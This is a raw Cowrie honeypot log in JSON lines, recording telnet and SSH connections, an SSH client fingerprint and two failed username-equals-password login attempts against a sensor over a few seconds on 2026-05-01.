{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":45996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec17844927d4","protocol":"telnet","message":"New connection: 160.250.4.73:45996 (10.17.0.5:23) [session: ec17844927d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:53.865535Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":36558,"dst_ip":"10.17.0.5","dst_port":23,"session":"a00063adcb2d","protocol":"telnet","message":"New connection: 135.148.33.217:36558 (10.17.0.5:23) [session: a00063adcb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:54.319026Z"}
{"eventid":"cowrie.session.closed","duration":31.660569190979004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:54.778665Z","src_ip":"99.198.111.122","session":"36c6f4cb8da9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070539951324463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:54.784500Z","src_ip":"135.148.33.217","session":"9c53c990d2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.666027784347534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:54.911958Z","src_ip":"64.235.40.29","session":"5e50bc789bbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"680777b231bc","protocol":"telnet","message":"New connection: 99.198.111.122:39616 (10.17.0.5:23) [session: 680777b231bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:54.949981Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":46008,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac19f7e45be","protocol":"telnet","message":"New connection: 160.250.4.73:46008 (10.17.0.5:23) [session: 6ac19f7e45be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:55.049616Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":37568,"dst_ip":"10.17.0.5","dst_port":23,"session":"c618d5f56fcc","protocol":"telnet","message":"New connection: 135.148.33.217:37568 (10.17.0.5:23) [session: c618d5f56fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:55.332350Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"d381d294d2b6","protocol":"telnet","message":"New connection: 160.250.4.73:46022 (10.17.0.5:23) [session: d381d294d2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:55.371128Z"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:55.636781Z","src_ip":"122.168.114.167","session":"d2d90c2d6e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":41830,"dst_ip":"10.17.0.5","dst_port":23,"session":"e689147d47de","protocol":"telnet","message":"New connection: 216.22.21.200:41830 (10.17.0.5:23) [session: e689147d47de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:55.744997Z"}
{"eventid":"cowrie.session.closed","duration":30.746671438217163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.043417Z","src_ip":"195.154.29.177","session":"a63b46974d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63239860534668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.052190Z","src_ip":"99.198.111.122","session":"2a8c186488e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643041372299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.057258Z","src_ip":"99.198.111.122","session":"747813e65638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":43326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8242ed34c3b2","protocol":"telnet","message":"New connection: 99.198.111.122:43326 (10.17.0.5:23) [session: 8242ed34c3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.562139Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":39134,"dst_ip":"10.17.0.5","dst_port":23,"session":"53092b3cc753","protocol":"telnet","message":"New connection: 135.148.33.217:39134 (10.17.0.5:23) [session: 53092b3cc753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.595145Z"}
{"eventid":"cowrie.session.closed","duration":31.55045247077942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.648242Z","src_ip":"162.214.112.92","session":"d4c2dcaee921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":43910,"dst_ip":"10.17.0.5","dst_port":23,"session":"994d9d7001c8","protocol":"telnet","message":"New connection: 99.198.111.122:43910 (10.17.0.5:23) [session: 994d9d7001c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.829478Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":39414,"dst_ip":"10.17.0.5","dst_port":23,"session":"56974669b6f2","protocol":"telnet","message":"New connection: 135.148.33.217:39414 (10.17.0.5:23) [session: 56974669b6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.894484Z"}
{"eventid":"cowrie.session.closed","duration":31.083458423614502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:56.926403Z","src_ip":"135.148.33.217","session":"f9bf6c4f0afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263610363006592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.030716Z","src_ip":"99.198.111.122","session":"277e71147e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89195442199707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.040473Z","src_ip":"216.22.21.200","session":"b1679959848b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":39580,"dst_ip":"10.17.0.5","dst_port":23,"session":"1511298dc8a1","protocol":"telnet","message":"New connection: 135.148.33.217:39580 (10.17.0.5:23) [session: 1511298dc8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.078719Z"}
{"eventid":"cowrie.session.closed","duration":30.61419916152954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.154833Z","src_ip":"99.198.111.122","session":"d3f60fabb93c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005203247070312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.159436Z","src_ip":"160.250.4.73","session":"7860783bfffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45046,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c7cd7c5aa6","protocol":"telnet","message":"New connection: 99.198.111.122:45046 (10.17.0.5:23) [session: a2c7cd7c5aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.276409Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":42486,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0037963edda","protocol":"telnet","message":"New connection: 216.22.21.200:42486 (10.17.0.5:23) [session: a0037963edda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.410472Z"}
{"eventid":"cowrie.session.closed","duration":30.661983489990234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.523943Z","src_ip":"135.148.33.217","session":"9bae5d4b8883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":59390,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e443bdcbdbb","protocol":"telnet","message":"New connection: 195.154.29.177:59390 (10.17.0.5:23) [session: 0e443bdcbdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:57.549669Z"}
{"eventid":"cowrie.session.closed","duration":30.810231924057007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.028293Z","src_ip":"99.198.111.122","session":"e2a34fa8b726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986238479614258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.090043Z","src_ip":"99.198.111.122","session":"c9cfd4fa5469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7db26632884","protocol":"telnet","message":"New connection: 99.198.111.122:47232 (10.17.0.5:23) [session: b7db26632884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.135452Z"}
{"eventid":"cowrie.session.closed","duration":30.724546670913696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.214978Z","src_ip":"104.207.153.205","session":"220dfd707446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53980,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2184ef41518","protocol":"ssh","message":"New connection: 159.203.92.129:53980 (159.203.135.109:22) [session: f2184ef41518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.236258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.240922Z","src_ip":"159.203.92.129","session":"f2184ef41518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.248277Z","src_ip":"159.203.92.129","session":"f2184ef41518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"archerla","password":"archerla","message":"login attempt [archerla/archerla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.259149Z","src_ip":"159.203.92.129","session":"f2184ef41518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":41206,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c5179d9663","protocol":"telnet","message":"New connection: 135.148.33.217:41206 (10.17.0.5:23) [session: e8c5179d9663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.288353Z"}
{"eventid":"cowrie.session.closed","duration":30.648548364639282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.404316Z","src_ip":"195.154.29.177","session":"d6756317dea9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"1414e0e890b7","protocol":"telnet","message":"New connection: 99.198.111.122:47910 (10.17.0.5:23) [session: 1414e0e890b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.414881Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48070,"dst_ip":"10.17.0.5","dst_port":23,"session":"28192bc4414e","protocol":"telnet","message":"New connection: 99.198.111.122:48070 (10.17.0.5:23) [session: 28192bc4414e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.491596Z"}
{"eventid":"cowrie.session.closed","duration":31.389195203781128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.591209Z","src_ip":"195.154.29.177","session":"4f76058ec175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954283475875854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.673480Z","src_ip":"195.154.29.177","session":"98d6800ca67e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":46030,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f7a448ba3b","protocol":"telnet","message":"New connection: 160.250.4.73:46030 (10.17.0.5:23) [session: 69f7a448ba3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:58.763211Z"}
{"eventid":"cowrie.session.closed","duration":31.84420895576477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.005392Z","src_ip":"195.154.29.177","session":"e1090679b0d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.674642324447632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.019033Z","src_ip":"99.198.111.122","session":"61ae7d8fd060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845545530319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.023510Z","src_ip":"99.198.111.122","session":"3c17c869528c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49664,"dst_ip":"10.17.0.5","dst_port":23,"session":"2489c584cc21","protocol":"telnet","message":"New connection: 99.198.111.122:49664 (10.17.0.5:23) [session: 2489c584cc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.258820Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.265315Z","src_ip":"159.203.92.129","session":"f2184ef41518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.021934032440186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.443450Z","src_ip":"135.148.33.217","session":"6e1a77ee8933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":50388,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a6257e3c03","protocol":"telnet","message":"New connection: 99.198.111.122:50388 (10.17.0.5:23) [session: 06a6257e3c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.532182Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":39938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d978923a9cd8","protocol":"telnet","message":"New connection: 195.154.29.177:39938 (10.17.0.5:23) [session: d978923a9cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.859308Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46138,"dst_ip":"10.17.0.5","dst_port":23,"session":"627c2cff7569","protocol":"telnet","message":"New connection: 108.179.218.230:46138 (10.17.0.5:23) [session: 627c2cff7569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.863607Z"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:59.928739Z","src_ip":"122.168.114.167","session":"d2d90c2d6e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.494596481323242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.122960Z","src_ip":"99.198.111.122","session":"affb3cd30c33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937813758850098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.134498Z","src_ip":"99.198.111.122","session":"34129a09f673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51760,"dst_ip":"10.17.0.5","dst_port":23,"session":"7338b1c1afb7","protocol":"telnet","message":"New connection: 99.198.111.122:51760 (10.17.0.5:23) [session: 7338b1c1afb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.160701Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ebda4635765","protocol":"telnet","message":"New connection: 99.198.111.122:51956 (10.17.0.5:23) [session: 1ebda4635765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.239075Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":43778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6bd73333acc","protocol":"telnet","message":"New connection: 135.148.33.217:43778 (10.17.0.5:23) [session: b6bd73333acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.467502Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ea5a529e944","protocol":"telnet","message":"New connection: 99.198.111.122:52468 (10.17.0.5:23) [session: 2ea5a529e944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.491075Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52694,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab125d943c6","protocol":"telnet","message":"New connection: 99.198.111.122:52694 (10.17.0.5:23) [session: 4ab125d943c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.599603Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35122,"dst_ip":"10.17.0.5","dst_port":23,"session":"d237659c22aa","protocol":"telnet","message":"New connection: 160.250.4.73:35122 (10.17.0.5:23) [session: d237659c22aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:00.657285Z"}
{"eventid":"cowrie.session.closed","duration":30.568737745285034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.047960Z","src_ip":"99.198.111.122","session":"e8d6d4c29dd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645755767822266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.052382Z","src_ip":"99.198.111.122","session":"9fd8b61f1a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485756397247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.056704Z","src_ip":"195.154.29.177","session":"b2ee199b5afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972748041152954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.066962Z","src_ip":"99.198.111.122","session":"42039164855f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54700,"dst_ip":"10.17.0.5","dst_port":23,"session":"59308fcc8ea2","protocol":"telnet","message":"New connection: 99.198.111.122:54700 (10.17.0.5:23) [session: 59308fcc8ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.492844Z"}
{"eventid":"cowrie.session.closed","duration":31.389199018478394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.498741Z","src_ip":"216.22.21.200","session":"d195f2c51ca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382518768310547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.641480Z","src_ip":"64.235.40.29","session":"de93a509fdfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55338,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a510da98b81","protocol":"telnet","message":"New connection: 99.198.111.122:55338 (10.17.0.5:23) [session: 4a510da98b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.770131Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55384,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a5f14377ff","protocol":"telnet","message":"New connection: 99.198.111.122:55384 (10.17.0.5:23) [session: d4a5f14377ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.782149Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55490,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cfffe2ea9e2","protocol":"telnet","message":"New connection: 99.198.111.122:55490 (10.17.0.5:23) [session: 3cfffe2ea9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.819914Z"}
{"eventid":"cowrie.session.closed","duration":31.56648826599121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:01.842651Z","src_ip":"216.22.21.200","session":"721d22626047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1483895778656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.026598Z","src_ip":"216.22.21.200","session":"d9531c198aea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693015575408936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.040105Z","src_ip":"64.235.40.29","session":"4d399ffa53cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865315675735474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.046485Z","src_ip":"135.148.33.217","session":"171e42915bfe","protocol":"telnet"}
